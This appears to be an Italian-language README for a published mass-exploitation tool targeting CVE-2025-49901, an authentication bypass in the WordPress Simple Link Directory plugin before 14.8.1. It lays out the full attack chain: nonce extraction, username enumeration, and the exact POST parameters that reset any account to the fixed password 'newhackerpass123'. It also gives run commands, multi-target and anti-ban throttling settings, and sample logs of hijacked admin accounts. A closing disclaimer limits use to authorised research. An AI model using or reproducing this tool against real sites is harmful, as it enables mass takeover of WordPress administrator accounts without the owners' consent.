
WordPress Simple Link Directory Plugin < 14.8.1 è vulnerabile a un Broken Authentication ad alta priorità
Il plugin WordPress Simple Link Directory < 14.8.1 è vulnerabile a una scadenza di autenticazione ad alta priorità
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Bypass Autenticazione → Reset Password → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
Il modulo di reset password qc-opd esposto nelle pagine SLD accetta un nome utente e una nuova password senza verificare l'identità dell'utente tramite token, conferma email o controllo delle capacità. Un utente malintenzionato non autenticato può enumerare i nomi utente WordPress, inviare il modulo di reset per qualsiasi account e autenticarsi immediatamente con la password iniettata — ottenendo accesso amministrativo senza alcuna interazione da parte dell'utente bersaglio.
┌─────────────────────────────────────────────────────────┐
│ 1. Individua pagina reset SLD │
│ Sonda 28+ percorsi → match: "sld" + "_wpnonce" + form│
│ │
│ 2. Estrai nonce │
│ Analizza _wpnonce da HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumera nomi utente │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reimposta password per ogni nome utente │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verifica accesso (doppia modalità) │
│ Modalità sessione → controllo cookie + probe /wp-admin/│
│ Modalità password → wp-login.php + controllo pannello admin│
│ │
│ 6. Scrivi risultati confermati → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
File lista target → list.txt (un host per riga)
Thread → default 5
Timeout HTTP → default 10s
Ritardo per utente MIN/MAX → throttle anti-ban (default 0.3 / 0.7s)
Ritardo tra siti → default 1.0s
File output → scan_results/reset_mass_success.txt
Formato target:
https://target1.com
target2.com
http://target3.com/wordpress
Password fissa iniettata per tutti i reset:
newhackerpass123
| Metodo | Endpoint |
|---|---|
| Reindirizzamento autore | /?author=1 → |
Dopo ogni tentativo di reset, lo strumento verifica l'accesso utilizzando due metodi indipendenti:
Modalità sessione → controlla cookie wordpress_logged_in + indicatori /wp-admin/
Modalità password → POST completo su wp-login.php + sonda multi-percorso pannello admin
Indicatori amministratore controllati:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
SOLO PER RICERCA DI SICUREZZA AUTORIZZATA E ISTRUZIONE.
L'autore non si assume alcuna responsabilità per l'uso contro sistemi
che l'operatore non possiede o per i quali non ha esplicita autorizzazione scritta al test.
L'uso non autorizzato viola il CFAA, il CMA e leggi equivalenti in tutto il mondo.
Sei l'unico responsabile delle tue azioni.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Corretto in 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Affetto | Tutte le versioni < 14.8.1 |
| Auth | Nessuna richiesta |
| Tipo | Bypass dell'autenticazione tramite percorso alternativo (CWE-288) |
| CWE | CWE-288 · Bypass dell'autenticazione tramite percorso o canale alternativo |
/?author=10| REST API | /wp-json/wp/v2/users |
| Hostname | Primo label del dominio come fallback |
| Hardcoded | admin sempre incluso |